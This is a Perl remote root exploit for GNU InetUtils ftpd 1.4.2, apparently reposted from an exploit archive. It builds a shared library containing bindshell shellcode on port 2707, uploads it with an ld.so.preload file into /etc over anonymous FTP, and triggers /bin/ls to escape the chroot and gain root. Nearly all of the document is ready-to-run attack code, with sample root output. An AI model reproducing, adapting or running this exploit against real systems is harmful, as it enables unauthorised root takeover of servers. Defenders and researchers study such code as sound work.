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GNU InetUtils ftpd 1.4.2 (ld.so.preload) Remote Root Exploit
============================================================ GNU InetUtils ftpd 1.4.2 (ld.so.preload) Remote Root Exploit ============================================================ # FTP server (GNU inetutils 1.4.2) Remote Root Exploit # This program remotely exploits the most recent # versions of GNU inetutils ftpd on linux systems. # # Requirements: # 1. There MUST be a chroot'ed environment for the logged in user # 2. Directory etc must be writeable by the logged in user (duh!) # # The exploit works as follows: # 1. Create a shared library including a bindshell # 2. Create a ld.so.preload file referencing the previously created shared library # 3. Connect to the remote ftp server and log in using the ftp account # 4. Upload the shared library and ld.so.preload into /etc # 5. Run /bin/ls # # Result: # uname -a;id; # Linux XXXXX 2.6.11.9-vs2.0-rc1-node #1 SMP Fri May 13 11:52:23 CEST 2005 i686 GNU/Linux # uid=0(root) gid=0(root) egid=70(ftp) groups=70(ftp) # # wu-ftpd has a setuid(ftp) before the execv to # /bin/ls so there is no way escaping the chroot issued before. # # signed, # kingcope Dec/2006 ############################################################################################## use Net::FTP; open FILE, ">program.c"; print FILE <<EOF; #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #define L_PORT "\\x0a\\x93" /* Port 2707 */ char ficken[] = "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x99\\x52\\x53\\x6a\\x02\\x89" "\\xe1\\xcd\\x80\\x52\\x43\\x68\\xff\\x02"L_PORT"\\x89\\xe1" "\\x6a\\x10\\x51\\x50\\x89\\xe1\\x89\\xc6\\xb0\\x66\\xcd\\x80" "\\x43\\x43\\xb0\\x66\\xcd\\x80\\x52\\x56\\x89\\xe1\\x43\\xb0" "\\x66\\xcd\\x80\\x89\\xd9\\x89\\xc3\\xb0\\x3f\\x49\\xcd\\x80" "\\x41\\xe2\\xf8\\x52\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f" "\\x62\\x69\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"; void _init() { char *sh[2]={"/bin/sh",NULL}; int gg=0xed; FILE *f; setreuid(0,0); setuid(0); remove("/etc/ld.so.preload"); chdir("/"); chroot("etc"); while(gg!=0) { chdir("..");gg--; } chroot(".."); void (*fc)(); (long) fc = &ficken; fc(); } EOF close FILE; open FILE,">ld.so.preload"; print FILE "/etc/libno_ex.so.1.0"; close FILE; system("gcc -o program.o -c program.c -fPIC;gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles"); $ftp = Net::FTP->new($ARGV[0], Debug => 1) or die "Cannot connect to some.host.name: $@"; $ftp->login("ftp","ftp@") or die "Cannot login ", $ftp->message; $ftp->binary; $ftp->put("libno_ex.so.1.0", "/etc/libno_ex.so.1.0"); $ftp->put("ld.so.preload", "/etc/ld.so.preload"); print "\n\nNOTE: Running LS command, check the bindshell on port 2707.\n\n"; $ftp->dir(); $ftp->quit(); # 0day.today [2024-07-03] #